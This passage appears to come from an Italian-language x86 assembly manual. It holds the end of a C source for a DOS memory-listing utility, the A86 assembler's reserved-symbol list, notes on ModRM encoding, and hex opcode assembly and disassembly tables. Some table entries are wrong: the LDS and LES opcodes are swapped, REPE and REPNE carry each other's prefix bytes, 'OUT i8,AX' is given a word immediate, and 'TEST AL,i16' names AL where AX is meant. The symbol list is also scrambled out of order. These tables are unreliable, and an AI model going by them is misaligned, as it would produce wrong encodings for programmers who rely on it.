         puts("³ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ³");
         for(i=0; i<xms_usehandle; i++)
            printf("³  %-6u %-7u %-9lu %-12u ³\n",
                  i, xms_handles[i].handle, xms_handles[i].size,
                  xms_handles[i].locks);
         }

      puts("³                                        ³");
      if (upper_installed) {
         line="³ Free upper memory                      ³";
         sprintf(numstr, "%lu bytes", upper_free);
         strncpy(&line[26], numstr, strlen(numstr));
         puts(line);
         line="³ Largest upper block                    ³";
         sprintf(numstr, "%lu bytes", upper_large);
         strncpy(&line[26], numstr, strlen(numstr));
         puts(line);
      } else {
         puts("³ Upper memory            not available  ³");
         }
      }

   puts("ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ");
}

// Main -----------------------------------------------------------------------
int main(int argc, char *argv[])
{
   ushort i;


   if (argc > 1) {
      for(i=1; i<argc; i++) {
         if ((argv[i][0] == '-') || (argv[i][0] == '/'))
            switch( argv[i][1] ) {
               case 'n':
               case 'N':
                  normal_list(NORMAL);
                  break;

               case 'u':
```

```
            case 'U':
               normal_list(UPPER);
               break;

            case 'f':
            case 'F':
               full_list();
               break;

            case 'd':
            case 'D':
               device_list();
               break;

            case 'e':
            case 'E':
               ems_list();
               break;

            case 'x':
            case 'X':
               xms_list();
               break;

            case 'h':
            case 'H':
            case '?':
               puts(USAGE);
               return 0;

            default:
               printf("Invalid option %s (use -h for help).\n", argv[i]);
               return 1;
            }

         else {
            printf("Invalid option %s (use -h for help).\n", argv[i]);
            return 1;
            }
         }
   } else {
      normal_list(NORMAL);
      }

   return 0;
}
```

La seguente è una tabella riportante i simboli riservati dell’assembler dei sistemi x86.

Reserved Symbols of the A86 Assembler

AAA	ASCII adjust addition	ELSEIF	Conditional term
AAD	ASCII adjust division	END	Ignored for compatibility
AAM	ASCII adjust multiply	ENDIF	Conditional term
AAS	ASCII adjust subtract	ENDP	Ignored for compatibility
ADC	Add with carry	ENDS	End of segment
ADD	Instruction	ENTER	Instruction
AH	Byte register	EQ	Equals operator
AL	Byte register	EQU	Equate directive
AND	Instruction/operator	ES	Segment register
ASSUME	Ignored for compatibility	EVEN	Coerce to even address

```
AX      Word register
B       Byte memory specifier
BH      Byte register
BIT     Bit-mask operator
BL      Byte register
BOUND   Instruction
BP      Word register
BX      Word register
BY      Bytes-combine operator
BYTE    Byte memory specifier
CALL    Instruction
CBW     Convert byte to word
CH      Byte register
CL      Byte register
CLC     Clear carry
CLD     Clear direction
CLI     Clear interrupt
CMC     Complement carry
CMP     Compare
CMPS    Compare string
CMPSB   Compare string byte
CMPSW   Compare string word
CODE    Segment name
COMMENT Directive
CS      Segment register
CWD     Convert word dword
CX      Word register
D       Dword specifier
DAA     Decimal adjust add
DAS     Decimal adjust sub
DATA    Segment name
DB      Define bytes
DD      Define dwords
DEC     Decrement
DH      Byte register
DI      Word register
DIV     Divide
DL      Byte register
DQ      Define Qwords
DS      Segment register
DT      Define Twords
DUP     Duplicate operator
DW      Define words
DWORD   Memory specifier
DX      Word register
ELSE    Conditional term
EXTRN   Ignored for compatibility
F       Far specifier
F2XM1   87 Instruction
FABS    87 Instruction
FADD    87 Instruction
FADDP   87 Instruction
FAR     Far specifier
FBLD    87 Instruction
FBSTP   87 Instruction
FCHS    87 Instruction
FCLEX   87 Instruction
FCOM    87 Instruction
FCOMP   87 Instruction
FCOMPP  87 Instruction
FDECSTP 87 Instruction
FDISI   87 Instruction
FDIV    87 Instruction
FDIVP   87 Instruction
FDIVR   87 Instruction
FDIVRP  87 Instruction
FENI    87 Instruction
FFREE   87 Instruction
FIADD   87 Instruction
FICOM   87 Instruction
FICOMP  87 Instruction
FIDIV   87 Instruction
FIDIVR  87 Instruction
FILD    87 Instruction
FIMUL   87 Instruction
FINCSTP 87 Instruction
FINIT   87 Instruction
FIST    87 Instruction
FISTP   87 Instruction
FISUB   87 Instruction
FISUBR  87 Instruction
FLD     87 Instruction
FLD1    87 Instruction
FLDCW   87 Instruction
FLDENV  87 Instruction
FLDL2E  87 Instruction
FLDL2T  87 Instruction
FLDLG2  87 Instruction
FLDLN2  87 Instruction
FLDPI   87 Instruction
FLDZ    87 Instruction
FMUL    87 Instruction
_
FMULP   87 Instruction
FNCLEX  87 Instruction
FNDISI  87 Instruction
FNENI   87 Instruction
FNINIT  87 Instruction
FNOP    87 Instruction
FNSAVE  87 Instruction
FNSTCW  87 Instruction
FNSTENV 87 Instruction
FNSTSW  87 Instruction
FPATAN  87 Instruction
FPREM   87 Instruction
FPTAN   87 Instruction
FRNDINT 87 Instruction
FRSTOR  87 Instruction
FSAVE   87 Instruction
FSCALE  87 Instruction
FSETPM  87 Instruction
FSQRT   87 Instruction
FST     87 Instruction
FSTCW   87 Instruction
FSTENV  87 Instruction
FSTP    87 Instruction
FSTSW   87 Instruction
FSUB    87 Instruction
FSUBP   87 Instruction
FSUBR   87 Instruction
FSUBRP  87 Instruction
FTST    87 Instruction
FWAIT   87 Instruction
FXAM    87 Instruction
JL      Jump on less
JLE     Jump less equal
JMP     Jump unconditional
JNA     Jump not above
JNAE    Jump not above equal
JNB     Jump not below
JNBE    Jump not below equal
JNC     Jump not carry
JNE     Jump not equal
JNG     Jump not greater
JNGE    Jump not greater equ
JNL     Jump not less
JNLE    Jump not less equal
JNO     Jump not overflow
JNP     Jump not parity
JNS     Jump not sign
JNZ     Jump not zero
JO      Jump overflow
JP      Jump parity
JPE     Jump parity even
JPO     Jump parity odd
JS      Jump on sign
JZ      Jump on zero
LABEL   Declaration
LAHF    Load AH flags
LDS     Load into DS
LE      Less equal operator
LEA     Load eff address
LEAVE   Instruction
LES     Load into ES
LOCK    Instruction
```

```
FXCH    87 Instruction
FXTRACT 87 Instruction
FYL2X   87 Instruction
FYL2XP1 87 Instruction
GE      Greater/equal operator
GT      Greater than operator
HIGH    High byte of word op
HLT     Halt            *
IDIV    Integer divide
IF      Skip/conditional term
IMUL    Integer multiply
IN      Input from port
INC     Increment
INCLUDE Ignored for compatibility
INS     Input string
INSB    Input string byte
INSW    Input string word
INT     Interrupt
INTO    Interrupt on overflow
IRET    Interrupt return
JA      Jump on above
JAE     Jump above equal
JB      Jump on below
JBE     Jump below equal
JC      Jump on carry
JCXZ    Jump on CX zero
JE      Jump on equal
JG      Jump on greater
JGE     Jump greater equal

LODS    Load string
LODSB   Load string byte
LODSW   Load string word
LONG    Operator
LOOP    Instruction
LOOPE   Loop on equal
LOOPNE  Loop not equal
LOOPNZ  Loop not zero
LOOPZ   Loop on zero
LOW     Operator
LT      Less than operator
MACRO   Directive
MOD     Operator
MOV     Instruction
MOVS    Move string
MOVSB   Move string byte
MOVSW   Move string word
MUL     Multiply
NAME    Ignored for compatibility
NE      Not equals operator
NEAR    Operator
NEG     Instruction
NIL     No code instruction
NOP     No operation
NOT     Instruction/operator
OFFSET  Operator
OR      Instruction/operator
ORG     Directive
OUT     Output to port
_
OUTS    Output String
OUTSB   Output string byte
OUTSW   Output string word
PAGE    Ignored for compatibility
POP     Instruction
POPA    Pop all
POPF    Pop flags
PROC    Procedure Directive
PTR     Ignored for compatibility
PUBLIC  Ignored for compatibility
PUSH    Instruction
PUSHA   Push all
PUSHF   Push flags
Q       Qword specifier
QWORD   Memory specifier
RADIX   Directive
RCL     Rotate carry left
RCR     Rotate carry right
REP     Repeat prefix
REPE    Repeat while equal
REPNE   Repeat not equal
REPNZ   Repeat while zero
REPZ    Repeat non zero
RET     Return
RETF    Far Return
ROL     Rotate left
ROR     Rotate right
SAHF    Store AH to flags
SAL     Shift arith left
SAR     Shift arith right
SBB     Subtract with borrow
SCAS    Scan string
SCASB   Scan string byte
SCASW   Scan string word
SEGMENT Directive
SHL     Instruction/operator
SHORT   Operator

XCHG    Instruction
XLAT    Translate byte
XLATB   Translate byte
XOR     Instruction/operator

SHR     Instruction/operator
SI      Word register
SP      Word register
SS      Segment register
ST      EQU 0 for compatibility
STC     Set carry
STD     Set direction
STI     Set interrupts
STOS    Store string
STOSB   Store string byte
STOSW   Store string word
STRUC   Structure directive
SUB     Instruction
SUBTTL  Ignored for compatibility
T       Tword specifier
TEST    Instruction
THIS    This-location specifier
TITLE   Ignored for compatibility
TWORD   Memory specifier
TYPE    Operator
W       Word specifier
WAIT    Instruction
WORD    Word specifier
```

La seguente tabella mostra la codifica delle istruzioni utilizzando un altra metodologia.

*** EXPLANATION OF THE NOTATION USED IN THE HEX TABLE ***

Symbol Explanation

```
r8      Indicates a byte register operand
rm8     Indicates a byte reg/mem operand
```

```
m8       Indicates a byte memory operand
i8       Indicates a byte immediate operand
r16      Indicates a word register operand
rm16     Indicates a word reg/mem operand
m16      Indicates a word memory operand
i16      Indicates a word immediate operand
rel8     Indicates a byte relative offset operand (see 'cb')
rel16    Indicates a word relative offset operand (see 'cw')
ptr16:16Indicates an immediate far pointer operand (see 'cd')
m16:16   Indicates a memory far pointer operand
m16&16   Indicates two words in memory (for BOUND)

/1 etc. Indicates that the 'Reg' field of the RegInfo byte contains
         this number as opcode information
+rb      Indicates that the 'Reg' value of the first byte register
         operand is added to the opcode
+rw      Indicates that the 'Reg' value of the first word register
         operand is added to the opcode
/r       Indicates a RegInfo byte (maps to register or memory
         operands)
ib       Indicates a byte of data (maps to an i8 operand)
iw       Indicates a word of data (maps to an i16 operand)
cb       Indicates a relative offset from the next instruction for
         JMP, CALL etc. (signed with segment wrap, one byte)
cw       Indicates a relative offset from the next instruction for
         JMP, CALL etc. (unsigned with segment wrap, two bytes)
cd       Indicates an absolute far pointer for JMP, CALL etc.
         (signed, four bytes)


 Structure of the RegInfo byte:


  Field   Mode  Reg  Reg/Mem

  Bits     7 6 5 4 3 2 1 0


Byte regs: ALCLDLBLAHCHDHBH
Word regs: AXCXDXBXSPBPSIDI

Reg value: 0 1 2 3 4 5 6 7
```

* EXPLANATION OF THE NOTATION USED IN THE OCTAL TABLE *

```
Symbol  Explanation

r8       Indicates a byte register operand
rm8      Indicates a byte reg/mem operand
m8       Indicates a byte memory operand
i8       Indicates a byte immediate operand
r16      Indicates a word register operand
rm16     Indicates a word reg/mem operand
m16      Indicates a word memory operand
i16      Indicates a word immediate operand
rel8     Indicates a byte relative offset operand (see 'cb')
rel16    Indicates a word relative offset operand (see 'cw')
ptr16:16Indicates an immediate far pointer operand (see 'cd')
m16:16   Indicates a memory far pointer operand
m16&16   Indicates two words in memory (for BOUND)

 t       Indicates the 'Mode' field of the RegInfo byte, which is
         2 bits and is always the first octal digit
 r       Indicates the 'Reg' field of the RegInfo byte, which is
         3 bits and is the second octal digit (may not be present)
 m       Indicates the 'Reg/Mem' field of the RegInfo byte, which
         is 3 bits and is the third octal digit
ib       Indicates a byte of data (maps to an i8 operand)
iw       Indicates a word of data (maps to an i16 operand)
cb       Indicates a relative offset from the next instruction for
         JMP, CALL etc. (signed with segment wrap, one byte)
cw       Indicates a relative offset from the next instruction for
         JMP, CALL etc. (unsigned with segment wrap, two bytes)
cd       Indicates an absolute far pointer for JMP, CALL etc.
         (unsigned, four bytes)
```

```
 Structure of the RegInfo byte:

  Field   Mode  Reg  Reg/Mem

  Bits     7 6 5 4 3 2 1 0

  Digit    1st  2nd   3rd


Byte regs: ALCLDLBLAHCHDHBH
Word regs: AXCXDXBXSPBPSIDI

Reg value: 0 1 2 3 4 5 6 7


ModeReg/MemOctalMeaning

 00  000    0r0 [BX + SI]
     001    0r1 [BX + DI]
     010    0r2 [BP + SI]
     011    0r3 [BP + DI]
     100    0r4 [SI]
     101    0r5 [DI]
     110    0r6 disp16
     111    0r7 [BX]



 01  000    1r0 [BX + SI + disp8]
     001    1r1 [BX + DI + disp8]
     010    1r2 [BP + SI + disp8]
     011    1r3 [BP + DI + disp8]
     100    1r4 [SI + disp8]
     101    1r5 [DI + disp8]
     110    1r6 [BP + disp8]
     111    1r7 [BX + disp8]



 10  000    2r0 [BX + SI + disp16]
     001    2r1 [BX + DI + disp16]
     010    2r2 [BP + SI + disp16]
     011    2r3 [BP + DI + disp16]
     100    2r4 [SI + disp16]
     101    2r5 [DI + disp16]
     110    2r6 [BP + disp16]
     111    2r7 [BX + disp16]



 11  000    3r0 AL / AX
     001    3r1 CL / CX
     010    3r2 DL / DX
     011    3r3 BL / BX
     100    3r4 AH / SP
     101    3r5 CH / BP
     110    3r6 DH / SI
     111    3r7 BH / DI


 disp8, disp16: memory offset or displacement, disp8 = byte, disp16 = word
 which will follow the /r byte but precede any ib/iw bytes


        ---* THE ASSEMBLY TABLE -- IN HEX *---
```

Instruction	Opcode/Data
AAA	37
AAD	D5 0A
AAD i8	D5 ib
AAM	D4 0A
AAM i8	D4 ib
AAS	3F
ADC AL,i8	14 ib
ADC AX,i16	15 iw
ADC r8,rm8	12 /r
ADC r16,rm16	13 /r
ADC rm8,r8	10 /r
ADC rm16,r16	11 /r
ADC rm8,i8	80 /2 ib
ADC rm16,i8	83 /2 ib
ADC rm16,i16	81 /2 iw
ADD AL,i8	04 ib
ADD AX,i16	05 iw
ADD r8,rm8	02 /r
ADD r16,rm16	03 /r

Instruction	Opcode
ADD rm8,r8	00 /r
ADD rm16,r16	01 /r
ADD rm8,i8	80 /0 ib
ADD rm16,i8	83 /0 ib
ADD rm16,i16	81 /0 iw
AND AL,i8	24 ib
AND AX,i16	25 iw
AND r8,rm8	22 /r
AND r16,rm16	23 /r
AND rm8,r8	20 /r
AND rm16,r16	21 /r
AND rm8,i8	80 /4 ib
AND rm16,i8	83 /4 ib
AND rm16,i16	81 /4 iw
BOUND r16,m16&16	62 /r
CALL rel16	E8 cw
CALL FAR ptr16:16	9A cd
CALL rm16	FF /2
CALL FAR m16:16	FF /3
CBW	98
CLC	F8
CLD	FC
CLI	FA
CMC	F5
CMP AL,i8	3C ib
CMP AX,i16	3D iw
CMP r8,rm8	3A /r
CMP r16,rm16	3B /r
CMP rm8,r8	38 /r
CMP rm16,r16	39 /r
CMP rm8,i8	80 /7 ib
CMP rm16,i8	83 /7 ib
CMP rm16,i16	81 /7 iw
CMPSB	A6
CMPSW	A7
CWD	99
DAA	27
DAS	2F
DEC r16	48+rw
DEC rm8	FE /1
DEC rm16	FF /1
DIV rm8	F6 /6
DIV rm16	F7 /6
ENTER i16,i8	C8 iw ib
HLT	F4
IDIV rm8	F6 /7
IDIV rm16	F7 /7
IMUL rm8	F6 /5
IMUL rm16	F7 /5
IMUL r16,rm16,i16	69 iw
IMUL r16,rm16,i8	6B ib
IN AL,DX	EC
IN AX,DX	ED
IN AL,i8	E4 ib
IN AX,i8	E5 ib
INC r16	40+rw
INC rm8	FE /0
INC rm16	FF /0
INSB	6C
INSW	6D
INT 3 (Breakpoint)	CC
INT i8	CD ib
INTO	CE
IRET	CF
JA rel8	77 cb
JAE rel8	73 cb
JB rel8	72 cb
JBE rel8	76 cb
JC rel8	72 cb
JCXZ rel8	E3 cb
JE rel8	74 cb
JG rel8	7F cb
JGE rel8	7D cb
JL rel8	7C cb
JLE rel8	7E cb
JNA rel8	76 cb
JNAE rel8	72 cb
JNB rel8	73 cb
JNBE rel8	77 cb
JNC rel8	73 cb
JNE rel8	75 cb
JNG rel8	7E cb
JNGE rel8	7C cb
JNL rel8	7D cb
JNLE rel8	7F cb
JNO rel8	71 cb
JNP rel8	7B cb
JNS rel8	79 cb
JNZ rel8	75 cb
JO rel8	70 cb
JP rel8	7A cb
JPE rel8	7A cb
JPO rel8	7B cb
JS rel8	78 cb
JZ rel8	74 cb
JMP rel16	E9 cw
JMP ptr16:16	EA cd
JMP rel8	EB cb
JMP rm16	FF /4
JMP FAR m16:16	FF /5
LAHF	9F
LDS r16,m16:16	C4 /r
LEA r16,rm16	8D /r
LEAVE	C9
LES r16,m16:16	C5 /r
LOCK	F0
LODSB	AC
LODSW	AD
LOOP rel8	E2 cb
LOOPE rel8	E1 cb
LOOPNE rel8	E0 cb
LOOPNZ rel8	E0 cb
LOOPZ rel8	E1 cb
MOV r8,i8	B0+rb ib
MOV r16,i16	B8+rw iw
MOV AL,m8	A0 iw
MOV AX,m16	A1 iw
MOV m8,AL	A2 iw
MOV m16,AX	A3 iw
MOV r8,rm8	8A /r
MOV r16,rm16	8B /r
MOV rm8,r8	88 /r
MOV rm16,r16	89 /r
MOV rm8,i8	C6 /0 ib
MOV rm16,i16	C7 /0 iw
MOV r16,segreg	8C /r
MOV segreg,r16	8E /r
MOVSB	A4
MOVSW	A5
MUL rm8	F6 /4
MUL rm16	F7 /4
NEG rm8	F6 /3
NEG rm16	F7 /3
NOP	90
NOT rm8	F6 /2
NOT rm16	F7 /2
OR AL,i8	0C ib
OR AX,i16	0D iw
OR r8,rm8	0A /r
OR r16,rm16	0B /r
OR rm8,r8	08 /r
OR rm16,r16	09 /r
OR rm8,i8	80 /1 ib
OR rm16,i8	83 /1 ib
OR rm16,i16	81 /1 iw
OUT DX,AL	EE
OUT DX,AX	EF
OUT i8,AL	E6 ib
OUT i8,AX	E7 iw
OUTSB	6E
OUTSW	6F
POP r16	58+rw
POP rm16	8F /0 iw

Instruction	Opcode
POP DS	1F
POP ES	07
POP SS	17
POPA	61
POPF	9D
PUSH r16	50+rw
PUSH rm16	FF /6
PUSH i8	6A ib
PUSH i16	68 iw
PUSH CS	0E
PUSH DS	1E
PUSH ES	06
PUSH SS	16
PUSHA	60
PUSHF	9C
RCL rm8,1	D0 /2
RCL rm16,1	D1 /2
RCL rm8,CL	D2 /2
RCL rm16,CL	D3 /2
RCL rm8,i8	C0 /2 ib
RCL rm16,i8	C1 /2 ib
RCR rm8,1	D0 /3
RCR rm16,1	D1 /3
RCR rm8,CL	D2 /3
RCR rm16,CL	D3 /3
RCR rm8,i8	C0 /3 ib
RCR rm16,i8	C1 /3 ib
REP	F3
REPE	F2
REPNE	F3
RET i16	C2 iw
RET	C3
RETF i16	CA iw
RETF	CB
ROL rm8,1	D0 /0
ROL rm16,1	D1 /0
ROL rm8,CL	D2 /0
ROL rm16,CL	D3 /0
ROL rm8,i8	C0 /0 ib
ROL rm16,i8	C1 /0 ib
ROR rm8,1	D0 /1
ROR rm16,1	D1 /1
ROR rm8,CL	D2 /1
ROR rm16,CL	D3 /1
ROR rm8,i8	C0 /1 ib
ROR rm16,i8	C1 /1 ib
SAHF	9E
SAL rm8,1	D0 /4
SAL rm16,1	D1 /4
SAL rm8,CL	D2 /4
SAL rm16,CL	D3 /4
SAL rm8,i8	C0 /4 ib
SAL rm16,i8	C1 /4 ib
SAR rm8,1	D0 /7
SAR rm16,1	D1 /7
SAR rm8,CL	D2 /7
SAR rm16,CL	D3 /7
SAR rm8,i8	C0 /7 ib
SAR rm16,i8	C1 /7 ib
SBB AL,i8	1C ib
SBB AX,i16	1D iw
SBB r8,rm8	1A /r
SBB r16,rm16	1B /r
SBB rm8,r8	18 /r
SBB rm16,r16	19 /r
SBB rm8,i8	80 /3 ib
SBB rm16,i8	83 /3 ib
SBB rm16,i16	81 /3 iw
SCASB	AE
SCASW	AF
SEGCS	2E
SEGDS	3E
SEGES	26
SEGSS	36
SETALC	D6
SHL rm8,1	D0 /4
SHL rm16,1	D1 /4
SHL rm8,CL	D2 /4
SHL rm16,CL	D3 /4
SHL rm8,i8	C0 /4 ib
SHL rm16,i8	C1 /4 ib
SHR rm8,1	D0 /5
SHR rm16,1	D1 /5
SHR rm8,CL	D2 /5
SHR rm16,CL	D3 /5
SHR rm8,i8	C0 /5 ib
SHR rm16,i8	C1 /5 ib
STC	F9
STD	FD
STI	FB
STOSB	AA
STOSW	AB
SUB AL,i8	2C ib
SUB AX,i16	2D iw
SUB r8,rm8	2A /r
SUB r16,rm16	2B /r
SUB rm8,r8	28 /r
SUB rm16,r16	29 /r
SUB rm8,i8	80 /5 ib
SUB rm16,i8	83 /5 ib
SUB rm16,i16	81 /5 iw
TEST AL,i8	A8 ib
TEST AL,i16	A9 iw
TEST rm8,r8	84 /r
TEST rm16,r16	85 /r
TEST rm8,i8	F6 /0 ib
TEST rm16,i16	F7 /0 iw
WAIT	9B
XCHG AX,r16	90+rw
XCHG r8,rm8	86 /r
XCHG rm8,r8	86 /r
XCHG r16,rm16	87 /r
XCHG rm16,r16	87 /r
XLATB	D7
XOR AL,i8	34 ib
XOR AX,i16	35 iw
XOR r8,rm8	32 /r
XOR r16,rm16	33 /r
XOR rm8,r8	30 /r
XOR rm16,r16	31 /r
XOR rm8,i8	80 /6 ib
XOR rm16,i8	83 /6 ib
XOR rm16,i16	81 /6 iw

---* THE DISASSEMBLY TABLE -- IN HEX *---

Opcode	Data	Instruction
00	/r	ADD rm8,r8
01	/r	ADD rm16,r16
02	/r	ADD r8,rm8
03	/r	ADD r16,rm16
04	ib	ADD AL,i8
05	iw	ADD AX,i16
06	--	PUSH ES
07	--	POP ES
08	/r	OR rm8,r8
09	/r	OR rm16,r16
0A	/r	OR r8,rm8
0B	/r	OR r16,rm16
0C	ib	OR AL,i8
0D	iw	OR AX,i16
0E	--	PUSH CS
0F	(??)	(386 - indicates extended opcode)
10	/r	ADC rm8,r8

11	/r	ADC rm16,r16
12	/r	ADC r8,rm8
13	/r	ADC r16,rm16
14	ib	ADC AL,i8
15	iw	ADC AX,i16
16	--	PUSH SS
17	--	POP SS
18	/r	SBB rm8,r8
19	/r	SBB rm16,r16
1A	/r	SBB r8,rm8
1B	/r	SBB r16,rm16
1C	ib	SBB AL,i8
1D	iw	SBB AX,i16
1E	--	PUSH DS
1F	--	POP DS
20	/r	AND rm8,r8
21	/r	AND rm16,r16
22	/r	AND r8,rm8
23	/r	AND r16,rm16
24	ib	AND AL,i8
25	iw	AND AX,i16
26	[Prefix]	ES: override
27	--	DAA
28	/r	SUB rm8,r8
29	/r	SUB rm16,r16
2A	/r	SUB r8,rm8
2B	/r	SUB r16,rm16
2C	ib	SUB AL,i8
2D	iw	SUB AX,i16
2E	[Prefix]	CS: override
2F	--	DAS
30	/r	XOR rm8,r8
31	/r	XOR rm16,r16
32	/r	XOR r8,rm8
33	/r	XOR r16,rm16
34	ib	XOR AL,i8
35	iw	XOR AX,i16
36	[Prefix]	SS: override
37	--	AAA
38	/r	CMP rm8,r8
39	/r	CMP rm16,r16
3A	/r	CMP r8,rm8
3B	/r	CMP r16,rm16
3C	ib	CMP AL,i8
3D	iw	CMP AX,i16
3E	[Prefix]	DS: override
3F	--	AAS
40+rw	--	INC r16
48+rw	--	DEC r16
50+rw	--	PUSH r16
58+rw	--	POP r16
60	--	PUSHA
61	--	POPA
62	/r	BOUND r16,m16&16
63	(??)	(286 instruction: ARPL)
64-67	(??)	(386 prefix bytes)
68	iw	PUSH i16
69	/r iw	IMUL r16,rm16,i16
69	/r iw	IMUL r16,i16
6A	ib	PUSH i8
6B	/r ib	IMUL r16,rm16,i8
6B	/r ib	IMUL r16,i8
6C	--	INSB
6D	--	INSW
6E	--	OUTSB
6F	--	OUTSW
70	cb	JO rel8
71	cb	JNO rel8
72	cb	JB rel8
73	cb	JAE rel8
74	cb	JZ rel8
75	cb	JNZ rel8
76	cb	JBE rel8
77	cb	JA rel8
78	cb	JS rel8
79	cb	JNS rel8

7A	cb	JPE rel8
7B	cb	JPO rel8
7C	cb	JL rel8
7D	cb	JGE rel8
7E	cb	JLE rel8
7F	cb	JG rel8
80 /0	/r ib	ADD rm8,i8
80 /1	/r ib	OR rm8,i8
80 /2	/r ib	ADC rm8,i8
80 /3	/r ib	SBB rm8,i8
80 /4	/r ib	AND rm8,i8
80 /5	/r ib	SUB rm8,i8
80 /6	/r ib	XOR rm8,i8
80 /7	/r ib	CMP rm8,i8
81 /0	/r iw	ADD rm16,i16
81 /1	/r iw	OR rm16,i16
81 /2	/r iw	ADC rm16,i16
81 /3	/r iw	SBB rm16,i16
81 /4	/r iw	AND rm16,i16
81 /5	/r iw	SUB rm16,i16
81 /6	/r iw	XOR rm16,i16
81 /7	/r iw	CMP rm16,i16
82 /0	/r ib	ADD rm8,i8
82 /1	/r ib	OR rm8,i8
82 /2	/r ib	ADC rm8,i8
82 /3	/r ib	SBB rm8,i8
82 /4	/r ib	AND rm8,i8
82 /5	/r ib	SUB rm8,i8
82 /6	/r ib	XOR rm8,i8
82 /7	/r ib	CMP rm8,i8
83 /0	/r ib	ADD rm16,i8
83 /1	/r ib	OR rm16,i8
83 /2	/r ib	ADC rm16,i8
83 /3	/r ib	SBB rm16,i8
83 /4	/r ib	AND rm16,i8
83 /5	/r ib	SUB rm16,i8
83 /6	/r ib	XOR rm16,i8
83 /7	/r ib	CMP rm16,i8
84	/r	TEST rm8,r8
85	/r	TEST rm16,r16
86	/r	XCHG rm8,r8
86	/r	XCHG r8,rm8
87	/r	XCHG rm16,r16
87	/r	XCHG r16,rm16
88	/r	MOV rm8,r8
89	/r	MOV rm16,r16
8A	/r	MOV r8,rm8
8B	/r	MOV r16,rm16
8C	/r	MOV rm16,segreg
8D	/r	LEA r16,rm16
8E	/r	MOV segreg,rm16
8F /0	iw	POP rm16
8F /1-7	(??)	(Not an instruction)
90	--	NOP
90+rw	--	XCHG AX,r16
98	--	CBW
99	--	CWD
9A	cd	CALL FAR ptr16:16
9B	--	WAIT
9C	--	PUSHF
9D	--	POPF
9E	--	SAHF
9F	--	LAHF
A0	iw	MOV AL,m8
A1	iw	MOV AX,m16
A2	iw	MOV m8,AL
A3	iw	MOV m16,AX
A4	--	MOVSB
A5	--	MOVSW
A6	--	CMPSB
A7	--	CMPSW
A8	ib	TEST AL,i8
A9	iw	TEST AL,i16
AA	--	STOSB
AB	--	STOSW
AC	--	LODSB
AD	--	LODSW

AE	--	SCASB
AF	--	SCASW
B0+rb	ib	MOV r8,i8
B8+rw	iw	MOV r16,i16
C0 /0	/r ib	ROL rm8,i8
C0 /1	/r ib	ROR rm8,i8
C0 /2	/r ib	RCL rm8,i8
C0 /3	/r ib	RCR rm8,i8
C0 /4	/r ib	SHL rm8,i8
C0 /5	/r ib	SHR rm8,i8
C0 /6	/r ib	SHL rm8,i8
C0 /7	/r ib	SAR rm8,i8
C1 /0	/r ib	ROL rm16,i8
C1 /1	/r ib	ROR rm16,i8
C1 /2	/r ib	RCL rm16,i8
C1 /3	/r ib	RCR rm16,i8
C1 /4	/r ib	SHL rm16,i8
C1 /5	/r ib	SHR rm16,i8
C1 /6	/r ib	SHL rm16,i8
C1 /7	/r ib	SAR rm16,i8
C2	iw	RET i16
C3	--	RET
C4	/r	LDS r16,m16:16
C5	/r	LES r16,m16:16
C6 /0	/r ib	MOV rm8,i8
C6 /1-7	(??)	(Not an instruction)
C7 /0	/r iw	MOV rm16,i16
C7 /1-7	(??)	(Not an instruction)
C8	iw ib	ENTER i16,i8
C9	--	LEAVE
CA	iw	RETF i16
CB	--	RETF
CC	--	INT 3 (Breakpoint)
CD	ib	INT i8
CE	--	INTO
CF	--	IRET
D0 /0	/r	ROL rm8,1
D0 /1	/r	ROR rm8,1
D0 /2	/r	RCL rm8,1
D0 /3	/r	RCR rm8,1
D0 /4	/r	SHL rm8,1
D0 /5	/r	SHR rm8,1
D0 /6	/r	SHL rm8,1
D0 /7	/r	SAR rm8,1
D1 /0	/r	ROL rm16,1
D1 /1	/r	ROR rm16,1
D1 /2	/r	RCL rm16,1
D1 /3	/r	RCR rm16,1
D1 /4	/r	SHL rm16,1
D1 /5	/r	SHR rm16,1
D1 /6	/r	SHL rm16,1
D1 /7	/r	SAR rm16,1
D2 /0	/r	ROL rm8,CL
D2 /1	/r	ROR rm8,CL
D2 /2	/r	RCL rm8,CL
D2 /3	/r	RCR rm8,CL
D2 /4	/r	SHL rm8,CL
D2 /5	/r	SHR rm8,CL
D2 /6	/r	SHL rm8,CL
D2 /7	/r	SAR rm8,CL
D3 /0	/r	ROL rm16,CL
D3 /1	/r	ROR rm16,CL
D3 /2	/r	RCL rm16,CL
D3 /3	/r	RCR rm16,CL
D3 /4	/r	SHL rm16,CL
D3 /5	/r	SHR rm16,CL
D3 /6	/r	SHL rm16,CL
D3 /7	/r	SAR rm16,CL
D4 0A		AAM
D4	ib	AAM i8 (undocumented)
D5 0A		AAD
D5	ib	AAD i8 (undocumented)
D6	--	SETALC (undocumented)
D7	--	XLATB
D8-DF	(??)	(FPU instructions)
E0	cb	LOOPNZ rel8

E1	cb	LOOPZ rel8
E2	cb	LOOP rel8
E3	cb	JCXZ rel8
E4	ib	IN AL,i8
E5	ib	IN AX,i8
E6	ib	OUT i8,AL
E7	ib	OUT i8,AX
E8	cw	CALL rel16
E9	cw	JMP rel16
EA	cd	JMP ptr16:16
EB	cb	JMP rel8
EC	--	IN AL,DX
ED	--	IN AX,DX
EE	--	OUT DX,AL
EF	--	OUT DX,AX
F0	[Prefix]	LOCK
F1	??	(apparently unused)
F2	[Prefix]	REPE
F3	[Prefix]	REPNE
F4	--	HLT
F5	--	CMC
F6 /0	ib	TEST rm8,i8
F6 /1	ib	TEST rm8,i8
(undocumented)		
F6 /2	/r	NOT rm8
F6 /3	/r	NEG rm8
F6 /4	/r	MUL rm8
F6 /5	/r	IMUL rm8
F6 /6	/r	DIV rm8
F6 /7	/r	IDIV rm8
F7 /0	iw	TEST rm16,i16
F7 /1	iw	TEST rm16,i16
(undocumented)		
F7 /2	/r	NOT rm16
F7 /3	/r	NEG rm16
F7 /4	/r	MUL rm16
F7 /5	/r	IMUL rm16
F7 /6	/r	DIV rm16
F7 /7	/r	IDIV rm16
F8	--	CLC
F9	--	STC
FA	--	CLI
FB	--	STI
FC	--	CLD
FD	--	STD
FE /0	/r	INC rm8
FE /1	/r	DEC rm8
FE /2-7	(??)	(Not an instruction)
FF /0	/r	INC rm16
FF /1	/r	DEC rm16
FF /2	/r	CALL rm16
FF /3	/r	CALL FAR m16:16
